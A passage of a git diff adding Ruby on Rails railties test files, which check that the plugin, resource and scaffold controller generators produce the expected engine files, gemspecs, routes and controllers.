+    assert_file "app/assets/stylesheets/bukkits"
+    assert_file "app/assets/images/bukkits"
+    assert_file "config/routes.rb", /Bukkits::Engine\.routes\.draw do/
+    assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/
+    assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/
+    assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n  class ApplicationController < ActionController::Base/
+    assert_file "app/models/bukkits/application_record.rb", /module Bukkits\n  class ApplicationRecord < ActiveRecord::Base/
+    assert_file "app/jobs/bukkits/application_job.rb", /module Bukkits\n  class ApplicationJob < ActiveJob::Base/
+    assert_file "app/mailers/bukkits/application_mailer.rb", /module Bukkits\n  class ApplicationMailer < ActionMailer::Base\n    default from: 'from@example\.com'\n    layout 'mailer'\n/
+    assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n  module ApplicationHelper/
+    assert_file "app/views/layouts/bukkits/application.html.erb" do |contents|
+      assert_match "<title>Bukkits</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
+    end
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+\.\.\/test\/dummy\/db\/migrate/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+<<.+\.\.\/db\/migrate/, content)
+      assert_match(/ActionDispatch::IntegrationTest\.fixture_path = ActiveSupport::TestCase\.fixture_pat/, content)
+      assert_no_match(/Rails::TestUnitReporter\.executable = 'bin\/test'/, content)
+    end
+    assert_no_file "bin/test"
+  end
+
+  def test_create_mountable_application_with_mountable_option_and_hypenated_name
+    run_generator [File.join(destination_root, "hyphenated-name"), "--mountable"]
+    assert_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/images/hyphenated/name"
+    assert_file "hyphenated-name/config/routes.rb",                                          /Hyphenated::Name::Engine\.routes\.draw do/
+    assert_file "hyphenated-name/lib/hyphenated/name/version.rb",                            /module Hyphenated\n  module Name\n    VERSION = '0\.1\.0'\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name/engine.rb",                             /module Hyphenated\n  module Name\n    class Engine < ::Rails::Engine\n      isolate_namespace Hyphenated::Name\n    end\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name.rb",                                    /require "hyphenated\/name\/engine"/
+    assert_file "hyphenated-name/test/dummy/config/routes.rb",                               /mount Hyphenated::Name::Engine => "\/hyphenated-name"/
+    assert_file "hyphenated-name/app/controllers/hyphenated/name/application_controller.rb", /module Hyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n      protect_from_forgery with: :exception\n    end\n  end\nend\n/
+    assert_file "hyphenated-name/app/models/hyphenated/name/application_record.rb",          /module Hyphenated\n  module Name\n    class ApplicationRecord < ActiveRecord::Base\n      self\.abstract_class = true\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/jobs/hyphenated/name/application_job.rb",               /module Hyphenated\n  module Name\n    class ApplicationJob < ActiveJob::Base/
+    assert_file "hyphenated-name/app/mailers/hyphenated/name/application_mailer.rb",         /module Hyphenated\n  module Name\n    class ApplicationMailer < ActionMailer::Base\n      default from: 'from@example\.com'\n      layout 'mailer'\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/helpers/hyphenated/name/application_helper.rb",         /module Hyphenated\n  module Name\n    module ApplicationHelper\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/views/layouts/hyphenated/name/application.html.erb" do |contents|
+      assert_match "<title>Hyphenated name</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]hyphenated\/name\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]hyphenated\/name\/application['"]/, contents)
+    end
+  end
+
+  def test_create_mountable_application_with_mountable_option_and_hypenated_and_underscored_name
+    run_generator [File.join(destination_root, "my_hyphenated-name"), "--mountable"]
+    assert_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name"
+    assert_file "my_hyphenated-name/config/routes.rb",                                             /MyHyphenated::Name::Engine\.routes\.draw do/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/version.rb",                            /module MyHyphenated\n  module Name\n    VERSION = '0\.1\.0'\n  end\nend/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb",                             /module MyHyphenated\n  module Name\n    class Engine < ::Rails::Engine\n      isolate_namespace MyHyphenated::Name\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb",                                    /require "my_hyphenated\/name\/engine"/
+    assert_file "my_hyphenated-name/test/dummy/config/routes.rb",                                  /mount MyHyphenated::Name::Engine => "\/my_hyphenated-name"/
+    assert_file "my_hyphenated-name/app/controllers/my_hyphenated/name/application_controller.rb", /module MyHyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n      protect_from_forgery with: :exception\n    end\n  end\nend\n/
+    assert_file "my_hyphenated-name/app/models/my_hyphenated/name/application_record.rb",          /module MyHyphenated\n  module Name\n    class ApplicationRecord < ActiveRecord::Base\n      self\.abstract_class = true\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/jobs/my_hyphenated/name/application_job.rb",               /module MyHyphenated\n  module Name\n    class ApplicationJob < ActiveJob::Base/
+    assert_file "my_hyphenated-name/app/mailers/my_hyphenated/name/application_mailer.rb",         /module MyHyphenated\n  module Name\n    class ApplicationMailer < ActionMailer::Base\n      default from: 'from@example\.com'\n      layout 'mailer'\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/helpers/my_hyphenated/name/application_helper.rb",         /module MyHyphenated\n  module Name\n    module ApplicationHelper\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/views/layouts/my_hyphenated/name/application.html.erb" do |contents|
+      assert_match "<title>My hyphenated name</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
+    end
+  end
+
+  def test_create_mountable_application_with_mountable_option_and_multiple_hypenates_in_name
+    run_generator [File.join(destination_root, "deep-hyphenated-name"), "--mountable"]
+    assert_file "deep-hyphenated-name/app/assets/javascripts/deep/hyphenated/name"
+    assert_file "deep-hyphenated-name/app/assets/stylesheets/deep/hyphenated/name"
+    assert_file "deep-hyphenated-name/app/assets/images/deep/hyphenated/name"
+    assert_file "deep-hyphenated-name/config/routes.rb",                                               /Deep::Hyphenated::Name::Engine\.routes\.draw do/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/version.rb",                            /module Deep\n  module Hyphenated\n    module Name\n      VERSION = '0\.1\.0'\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/engine.rb",                             /module Deep\n  module Hyphenated\n    module Name\n      class Engine < ::Rails::Engine\n        isolate_namespace Deep::Hyphenated::Name\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name.rb",                                    /require "deep\/hyphenated\/name\/engine"/
+    assert_file "deep-hyphenated-name/test/dummy/config/routes.rb",                                    /mount Deep::Hyphenated::Name::Engine => "\/deep-hyphenated-name"/
+    assert_file "deep-hyphenated-name/app/controllers/deep/hyphenated/name/application_controller.rb", /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationController < ActionController::Base\n        protect_from_forgery with: :exception\n      end\n    end\n  end\nend\n/
+    assert_file "deep-hyphenated-name/app/models/deep/hyphenated/name/application_record.rb",          /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationRecord < ActiveRecord::Base\n        self\.abstract_class = true\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/jobs/deep/hyphenated/name/application_job.rb",               /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationJob < ActiveJob::Base/
+    assert_file "deep-hyphenated-name/app/mailers/deep/hyphenated/name/application_mailer.rb",         /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationMailer < ActionMailer::Base\n        default from: 'from@example\.com'\n        layout 'mailer'\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/helpers/deep/hyphenated/name/application_helper.rb",         /module Deep\n  module Hyphenated\n    module Name\n      module ApplicationHelper\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/views/layouts/deep/hyphenated/name/application.html.erb" do |contents|
+      assert_match "<title>Deep hyphenated name</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
+    end
+  end
+
+  def test_creating_gemspec
+    run_generator
+    assert_file "bukkits.gemspec", /s\.name\s+= "bukkits"/
+    assert_file "bukkits.gemspec", /s\.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.md"\]/
+    assert_file "bukkits.gemspec", /s\.version\s+ = Bukkits::VERSION/
+  end
+
+  def test_usage_of_engine_commands
+    run_generator [destination_root, "--full"]
+    assert_file "bin/rails", /ENGINE_PATH = File\.expand_path\('\.\.\/lib\/bukkits\/engine', __dir__\)/
+    assert_file "bin/rails", /ENGINE_ROOT = File\.expand_path\('\.\.', __dir__\)/
+    assert_file "bin/rails", %r|APP_PATH = File\.expand_path\('\.\./test/dummy/config/application', __dir__\)|
+    assert_file "bin/rails", /require 'rails\/all'/
+    assert_file "bin/rails", /require 'rails\/engine\/commands'/
+  end
+
+  def test_shebang
+    run_generator [destination_root, "--full"]
+    assert_file "bin/rails", /#!\/usr\/bin\/env ruby/
+  end
+
+  def test_passing_dummy_path_as_a_parameter
+    run_generator [destination_root, "--dummy_path", "spec/dummy"]
+    assert_file "spec/dummy"
+    assert_file "spec/dummy/config/application.rb"
+    assert_no_file "test/dummy"
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/require_relative.+spec\/dummy\/config\/environment/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/dummy\/db\/migrate/, content)
+    end
+  end
+
+  def test_creating_dummy_application_with_different_name
+    run_generator [destination_root, "--dummy_path", "spec/fake"]
+    assert_file "spec/fake"
+    assert_file "spec/fake/config/application.rb"
+    assert_no_file "test/dummy"
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/require_relative.+spec\/fake\/config\/environment/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/fake\/db\/migrate/, content)
+    end
+  end
+
+  def test_creating_dummy_without_tests_but_with_dummy_path
+    run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test"]
+    assert_file "spec/dummy"
+    assert_file "spec/dummy/config/application.rb"
+    assert_no_file "test"
+    assert_no_file "test/test_helper.rb"
+    assert_file ".gitignore" do |contents|
+      assert_match(/spec\/dummy/, contents)
+    end
+  end
+
+  def test_dummy_appplication_skip_listen_by_default
+    run_generator
+
+    assert_file "test/dummy/config/environments/development.rb" do |contents|
+      assert_match(/^\s*# config\.file_watcher = ActiveSupport::EventedFileUpdateChecker/, contents)
+    end
+  end
+
+  def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
+    FileUtils.cd(Rails.root)
+    run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test"])
+    assert_file ".gitignore" do |contents|
+      assert_match(/spec\/dummy/, contents)
+    end
+  end
+
+  def test_unnecessary_files_are_not_generated_in_dummy_application
+    run_generator
+    assert_no_file "test/dummy/.gitignore"
+    assert_no_file "test/dummy/db/seeds.rb"
+    assert_no_file "test/dummy/Gemfile"
+    assert_no_file "test/dummy/public/robots.txt"
+    assert_no_file "test/dummy/README.md"
+    assert_no_directory "test/dummy/lib/tasks"
+    assert_no_directory "test/dummy/doc"
+    assert_no_directory "test/dummy/test"
+    assert_no_directory "test/dummy/vendor"
+    assert_no_directory "test/dummy/.git"
+  end
+
+  def test_skipping_test_files
+    run_generator [destination_root, "--skip-test"]
+    assert_no_file "test"
+    assert_file ".gitignore" do |contents|
+      assert_no_match(/test\dummy/, contents)
+    end
+  end
+
+  def test_skipping_gemspec
+    run_generator [destination_root, "--skip-gemspec"]
+    assert_no_file "bukkits.gemspec"
+    assert_file "Gemfile" do |contents|
+      assert_no_match("gemspec", contents)
+      assert_match(/gem 'rails'/, contents)
+      assert_match_sqlite3(contents)
+    end
+  end
+
+  def test_skipping_gemspec_in_full_mode
+    run_generator [destination_root, "--skip-gemspec", "--full"]
+    assert_no_file "bukkits.gemspec"
+    assert_file "Gemfile" do |contents|
+      assert_no_match("gemspec", contents)
+      assert_match(/gem 'rails'/, contents)
+      assert_match_sqlite3(contents)
+    end
+  end
+
+  def test_creating_plugin_in_app_directory_adds_gemfile_entry
+    # simulate application existence
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set("APP_PATH", Rails.root)
+    FileUtils.touch gemfile_path
+
+    run_generator
+
+    assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
+  ensure
+    Object.send(:remove_const, "APP_PATH")
+    FileUtils.rm gemfile_path
+  end
+
+  def test_creating_plugin_only_specify_plugin_name_in_app_directory_adds_gemfile_entry
+    # simulate application existence
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set("APP_PATH", Rails.root)
+    FileUtils.touch gemfile_path
+
+    FileUtils.cd(destination_root)
+    run_generator ["bukkits"]
+
+    assert_file gemfile_path, /gem 'bukkits', path: 'bukkits'/
+  ensure
+    Object.send(:remove_const, "APP_PATH")
+    FileUtils.rm gemfile_path
+  end
+
+  def test_skipping_gemfile_entry
+    # simulate application existence
+    gemfile_path = "#{Rails.root}/Gemfile"
+    Object.const_set("APP_PATH", Rails.root)
+    FileUtils.touch gemfile_path
+
+    run_generator [destination_root, "--skip-gemfile-entry"]
+
+    assert_file gemfile_path do |contents|
+      assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
+    end
+  ensure
+    Object.send(:remove_const, "APP_PATH")
+    FileUtils.rm gemfile_path
+  end
+
+  def test_generating_controller_inside_mountable_engine
+    run_generator [destination_root, "--mountable"]
+
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g controller admin/dashboard foo`
+    end
+
+    assert_file "config/routes.rb" do |contents|
+      assert_match(/namespace :admin/, contents)
+      assert_no_match(/namespace :bukkit/, contents)
+    end
+  end
+
+  def test_git_name_and_email_in_gemspec_file
+    name = `git config user.name`.chomp rescue "TODO: Write your name"
+    email = `git config user.email`.chomp rescue "TODO: Write your email address"
+
+    run_generator
+    assert_file "bukkits.gemspec" do |contents|
+      assert_match name, contents
+      assert_match email, contents
+    end
+  end
+
+  def test_git_name_in_license_file
+    name = `git config user.name`.chomp rescue "TODO: Write your name"
+
+    run_generator
+    assert_file "MIT-LICENSE" do |contents|
+      assert_match name, contents
+    end
+  end
+
+  def test_no_details_from_git_when_skip_git
+    name = "TODO: Write your name"
+    email = "TODO: Write your email address"
+
+    run_generator [destination_root, "--skip-git"]
+    assert_file "MIT-LICENSE" do |contents|
+      assert_match name, contents
+    end
+    assert_file "bukkits.gemspec" do |contents|
+      assert_match name, contents
+      assert_match email, contents
+    end
+  end
+
+  def test_skipping_useless_folders_generation_for_api_engines
+    ["--full", "--mountable"].each do |option|
+      run_generator [destination_root, option, "--api"]
+
+      assert_no_directory "app/assets"
+      assert_no_directory "app/helpers"
+      assert_no_directory "app/views"
+
+      FileUtils.rm_rf destination_root
+    end
+  end
+
+  def test_application_controller_parent_for_mountable_api_plugins
+    run_generator [destination_root, "--mountable", "--api"]
+
+    assert_file "app/controllers/bukkits/application_controller.rb" do |content|
+      assert_match "ApplicationController < ActionController::API", content
+    end
+  end
+
+  def test_dummy_api_application_for_api_plugins
+    run_generator [destination_root, "--api"]
+
+    assert_file "test/dummy/config/application.rb" do |content|
+      assert_match "config.api_only = true", content
+    end
+  end
+
+  def test_api_generators_configuration_for_api_engines
+    run_generator [destination_root, "--full", "--api"]
+
+    assert_file "lib/bukkits/engine.rb" do |content|
+      assert_match "config.generators.api_only = true", content
+    end
+  end
+
+  def test_scaffold_generator_for_mountable_api_plugins
+    run_generator [destination_root, "--mountable", "--api"]
+
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g scaffold article`
+    end
+
+    assert_file "app/models/bukkits/article.rb"
+    assert_file "app/controllers/bukkits/articles_controller.rb" do |content|
+      assert_match "only: [:show, :update, :destroy]", content
+    end
+
+    assert_no_directory "app/assets"
+    assert_no_directory "app/helpers"
+    assert_no_directory "app/views"
+  end
+
+  def test_model_with_existent_application_record_in_mountable_engine
+    run_generator [destination_root, "--mountable"]
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g model article`
+    end
+
+    assert_file "app/models/bukkits/article.rb", /class Article < ApplicationRecord/
+  end
+
+  def test_generate_application_mailer_when_does_not_exist_in_mountable_engine
+    run_generator [destination_root, "--mountable"]
+    FileUtils.rm "#{destination_root}/app/mailers/bukkits/application_mailer.rb"
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g mailer User`
+    end
+
+    assert_file "#{destination_root}/app/mailers/bukkits/application_mailer.rb" do |mailer|
+      assert_match(/module Bukkits/, mailer)
+      assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer)
+    end
+  end
+
+  def test_generate_mailer_layouts_when_does_not_exist_in_mountable_engine
+    run_generator [destination_root, "--mountable"]
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g mailer User`
+    end
+
+    assert_file "#{destination_root}/app/views/layouts/bukkits/mailer.text.erb" do |view|
+      assert_match(/<%= yield %>/, view)
+    end
+
+    assert_file "#{destination_root}/app/views/layouts/bukkits/mailer.html.erb" do |view|
+      assert_match(%r{<body>\n    <%= yield %>\n  </body>}, view)
+    end
+  end
+
+  def test_generate_application_job_when_does_not_exist_in_mountable_engine
+    run_generator [destination_root, "--mountable"]
+    FileUtils.rm "#{destination_root}/app/jobs/bukkits/application_job.rb"
+    capture(:stdout) do
+      `#{destination_root}/bin/rails g job refresh_counters`
+    end
+
+    assert_file "#{destination_root}/app/jobs/bukkits/application_job.rb" do |record|
+      assert_match(/module Bukkits/, record)
+      assert_match(/class ApplicationJob < ActiveJob::Base/, record)
+    end
+  end
+
+  def test_app_update_generates_bin_file
+    run_generator [destination_root, "--mountable"]
+
+    Object.const_set("ENGINE_ROOT", destination_root)
+    FileUtils.rm("#{destination_root}/bin/rails")
+
+    quietly { Rails::Engine::Updater.run(:create_bin_files) }
+
+    assert_file "#{destination_root}/bin/rails" do |content|
+      assert_match(%r|APP_PATH = File\.expand_path\('\.\./test/dummy/config/application', __dir__\)|, content)
+    end
+  ensure
+    Object.send(:remove_const, "ENGINE_ROOT")
+  end
+
+  private
+
+    def action(*args, &block)
+      silence(:stdout) { generator.send(*args, &block) }
+    end
+
+    def default_files
+      ::DEFAULT_PLUGIN_FILES
+    end
+
+    def assert_match_sqlite3(contents)
+      if defined?(JRUBY_VERSION)
+        assert_match(/group :development do\n  gem 'activerecord-jdbcsqlite3-adapter'\nend/, contents)
+      else
+        assert_match(/group :development do\n  gem 'sqlite3'\nend/, contents)
+      end
+    end
+
+    def assert_generates_without_bundler(options = {})
+      generator([destination_root], options)
+
+      command_check = -> command do
+        case command
+        when "install"
+          flunk "install expected to not be called"
+        when "exec spring binstub --all"
+          # Called when running tests with spring, let through unscathed.
+        end
+      end
+
+      generator.stub :bundle_command, command_check do
+        quietly { generator.invoke_all }
+      end
+    end
+end
diff --git a/railties/test/generators/plugin_test_helper.rb b/railties/test/generators/plugin_test_helper.rb
new file mode 100644
index 0000000000..8ac90e3484
--- /dev/null
+++ b/railties/test/generators/plugin_test_helper.rb
@@ -0,0 +1,24 @@
+require "abstract_unit"
+require "tmpdir"
+
+module PluginTestHelper
+  def create_test_file(name, pass: true)
+    plugin_file "test/#{name}_test.rb", <<-RUBY
+      require 'test_helper'
+
+      class #{name.camelize}Test < ActiveSupport::TestCase
+        def test_truth
+          puts "#{name.camelize}Test"
+          assert #{pass}, 'wups!'
+        end
+      end
+    RUBY
+  end
+
+  def plugin_file(path, contents, mode: "w")
+    FileUtils.mkdir_p File.dirname("#{plugin_path}/#{path}")
+    File.open("#{plugin_path}/#{path}", mode) do |f|
+      f.puts contents
+    end
+  end
+end
diff --git a/railties/test/generators/plugin_test_runner_test.rb b/railties/test/generators/plugin_test_runner_test.rb
new file mode 100644
index 0000000000..0bdd2a77d2
--- /dev/null
+++ b/railties/test/generators/plugin_test_runner_test.rb
@@ -0,0 +1,114 @@
+require "generators/plugin_test_helper"
+
+class PluginTestRunnerTest < ActiveSupport::TestCase
+  include PluginTestHelper
+
+  def setup
+    @destination_root = Dir.mktmpdir("bukkits")
+    Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --skip-bundle` }
+    plugin_file "test/dummy/db/schema.rb", ""
+  end
+
+  def teardown
+    FileUtils.rm_rf(@destination_root)
+  end
+
+  def test_run_single_file
+    create_test_file "foo"
+    create_test_file "bar"
+    assert_match "1 runs, 1 assertions, 0 failures", run_test_command("test/foo_test.rb")
+  end
+
+  def test_run_multiple_files
+    create_test_file "foo"
+    create_test_file "bar"
+    assert_match "2 runs, 2 assertions, 0 failures", run_test_command("test/foo_test.rb test/bar_test.rb")
+  end
+
+  def test_mix_files_and_line_filters
+    create_test_file "account"
+    plugin_file "test/post_test.rb", <<-RUBY
+      require 'test_helper'
+
+      class PostTest < ActiveSupport::TestCase
+        def test_post
+          puts 'PostTest'
+          assert true
+        end
+
+        def test_line_filter_does_not_run_this
+          assert true
+        end
+      end
+    RUBY
+
+    run_test_command("test/account_test.rb test/post_test.rb:4").tap do |output|
+      assert_match "AccountTest", output
+      assert_match "PostTest", output
+      assert_match "2 runs, 2 assertions", output
+    end
+  end
+
+  def test_multiple_line_filters
+    create_test_file "account"
+    create_test_file "post"
+
+    run_test_command("test/account_test.rb:4 test/post_test.rb:4").tap do |output|
+      assert_match "AccountTest", output
+      assert_match "PostTest", output
+    end
+  end
+
+  def test_output_inline_by_default
+    create_test_file "post", pass: false
+
+    output = run_test_command("test/post_test.rb")
+    expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/post_test.rb:6\]:\nwups!\n\nbin/test (/private)?#{plugin_path}/test/post_test.rb:4}
+    assert_match expect, output
+  end
+
+  def test_only_inline_failure_output
+    create_test_file "post", pass: false
+
+    output = run_test_command("test/post_test.rb")
+    assert_match %r{Finished in.*\n\n1 runs, 1 assertions}, output
+  end
+
+  def test_fail_fast
+    create_test_file "post", pass: false
+
+    assert_match(/Interrupt/,
+      capture(:stderr) { run_test_command("test/post_test.rb --fail-fast") })
+  end
+
+  def test_raise_error_when_specified_file_does_not_exist
+    error = capture(:stderr) { run_test_command("test/not_exists.rb") }
+    assert_match(%r{cannot load such file.+test/not_exists\.rb}, error)
+  end
+
+  def test_executed_only_once
+    create_test_file "foo"
+    result = run_test_command("test/foo_test.rb")
+    assert_equal 1, result.scan(/1 runs, 1 assertions, 0 failures/).length
+  end
+
+  def test_warnings_option
+    plugin_file "test/models/warnings_test.rb", <<-RUBY
+      require 'test_helper'
+      def test_warnings
+        a = 1
+      end
+    RUBY
+    assert_match(/warning: assigned but unused variable/,
+      capture(:stderr) { run_test_command("test/models/warnings_test.rb -w") })
+  end
+
+  private
+    def plugin_path
+      "#{@destination_root}/bukkits"
+    end
+
+    def run_test_command(arguments)
+      Dir.chdir(plugin_path) { `bin/test #{arguments}` }
+    end
+end
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
new file mode 100644
index 0000000000..e976e58180
--- /dev/null
+++ b/railties/test/generators/resource_generator_test.rb
@@ -0,0 +1,88 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/resource/resource_generator"
+
+class ResourceGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(account)
+
+  setup :copy_routes
+
+  def test_help_with_inherited_options
+    content = run_generator ["--help"]
+    assert_match(/ActiveRecord options:/, content)
+    assert_match(/TestUnit options:/, content)
+  end
+
+  def test_files_from_inherited_invocation
+    run_generator
+
+    %w(
+      app/models/account.rb
+      test/models/account_test.rb
+      test/fixtures/accounts.yml
+    ).each { |path| assert_file path }
+
+    assert_migration "db/migrate/create_accounts.rb"
+  end
+
+  def test_inherited_invocations_with_attributes
+    run_generator ["account", "name:string"]
+    assert_migration "db/migrate/create_accounts.rb", /t.string :name/
+  end
+
+  def test_resource_controller_with_pluralized_class_name
+    run_generator
+    assert_file "app/controllers/accounts_controller.rb", /class AccountsController < ApplicationController/
+    assert_file "test/controllers/accounts_controller_test.rb", /class AccountsControllerTest < ActionDispatch::IntegrationTest/
+
+    assert_file "app/helpers/accounts_helper.rb", /module AccountsHelper/
+  end
+
+  def test_resource_controller_with_actions
+    run_generator ["account", "--actions", "index", "new"]
+
+    assert_file "app/controllers/accounts_controller.rb" do |controller|
+      assert_instance_method :index, controller
+      assert_instance_method :new, controller
+    end
+
+    assert_file "app/views/accounts/index.html.erb"
+    assert_file "app/views/accounts/new.html.erb"
+  end
+
+  def test_resource_routes_are_added
+    run_generator
+
+    assert_file "config/routes.rb" do |route|
+      assert_match(/resources :accounts$/, route)
+    end
+  end
+
+  def test_plural_names_are_singularized
+    content = run_generator ["accounts".freeze]
+    assert_file "app/models/account.rb", /class Account < ApplicationRecord/
+    assert_file "test/models/account_test.rb", /class AccountTest/
+    assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
+  end
+
+  def test_plural_names_can_be_forced
+    content = run_generator ["accounts", "--force-plural"]
+    assert_file "app/models/accounts.rb", /class Accounts < ApplicationRecord/
+    assert_file "test/models/accounts_test.rb", /class AccountsTest/
+    assert_no_match(/\[WARNING\]/, content)
+  end
+
+  def test_mass_nouns_do_not_throw_warnings
+    content = run_generator ["sheep".freeze]
+    assert_no_match(/\[WARNING\]/, content)
+  end
+
+  def test_route_is_removed_on_revoke
+    run_generator
+    run_generator ["account"], behavior: :revoke
+
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/resources :accounts$/, route)
+    end
+  end
+end
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
new file mode 100644
index 0000000000..9971626f9f
--- /dev/null
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -0,0 +1,252 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+module Unknown
+  module Generators
+  end
+end
+
+class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(User name:string age:integer)
+
+  def test_controller_skeleton_is_created
+    run_generator
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_match(/class UsersController < ApplicationController/, content)
+
+      assert_instance_method :index, content do |m|
+        assert_match(/@users = User\.all/, m)
+      end
+
+      assert_instance_method :show, content
+
+      assert_instance_method :new, content do |m|
+        assert_match(/@user = User\.new/, m)
+      end
+
+      assert_instance_method :edit, content
+
+      assert_instance_method :create, content do |m|
+        assert_match(/@user = User\.new\(user_params\)/, m)
+        assert_match(/@user\.save/, m)
+      end
+
+      assert_instance_method :update, content do |m|
+        assert_match(/@user\.update\(user_params\)/, m)
+      end
+
+      assert_instance_method :destroy, content do |m|
+        assert_match(/@user\.destroy/, m)
+        assert_match(/User was successfully destroyed/, m)
+      end
+
+      assert_instance_method :set_user, content do |m|
+        assert_match(/@user = User\.find\(params\[:id\]\)/, m)
+      end
+
+      assert_match(/def user_params/, content)
+      assert_match(/params\.require\(:user\)\.permit\(:name, :age\)/, content)
+    end
+  end
+
+  def test_dont_use_require_or_permit_if_there_are_no_attributes
+    run_generator ["User"]
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_match(/def user_params/, content)
+      assert_match(/params\.fetch\(:user, \{\}\)/, content)
+    end
+  end
+
+  def test_controller_permit_references_attributes
+    run_generator ["LineItem", "product:references", "cart:belongs_to"]
+
+    assert_file "app/controllers/line_items_controller.rb" do |content|
+      assert_match(/def line_item_params/, content)
+      assert_match(/params\.require\(:line_item\)\.permit\(:product_id, :cart_id\)/, content)
+    end
+  end
+
+  def test_controller_permit_polymorphic_references_attributes
+    run_generator ["LineItem", "product:references{polymorphic}"]
+
+    assert_file "app/controllers/line_items_controller.rb" do |content|
+      assert_match(/def line_item_params/, content)
+      assert_match(/params\.require\(:line_item\)\.permit\(:product_id, :product_type\)/, content)
+    end
+  end
+
+  def test_helper_are_invoked_with_a_pluralized_name
+    run_generator
+    assert_file "app/helpers/users_helper.rb", /module UsersHelper/
+  end
+
+  def test_views_are_generated
+    run_generator
+
+    %w(index edit new show).each do |view|
+      assert_file "app/views/users/#{view}.html.erb"
+    end
+    assert_no_file "app/views/layouts/users.html.erb"
+  end
+
+  def test_index_page_have_notice
+    run_generator
+
+    %w(index show).each do |view|
+      assert_file "app/views/users/#{view}.html.erb", /notice/
+    end
+  end
+
+  def test_functional_tests
+    run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}"]
+
+    assert_file "test/controllers/users_controller_test.rb" do |content|
+      assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content)
+      assert_match(/test "should get index"/, content)
+      assert_match(/post users_url, params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content)
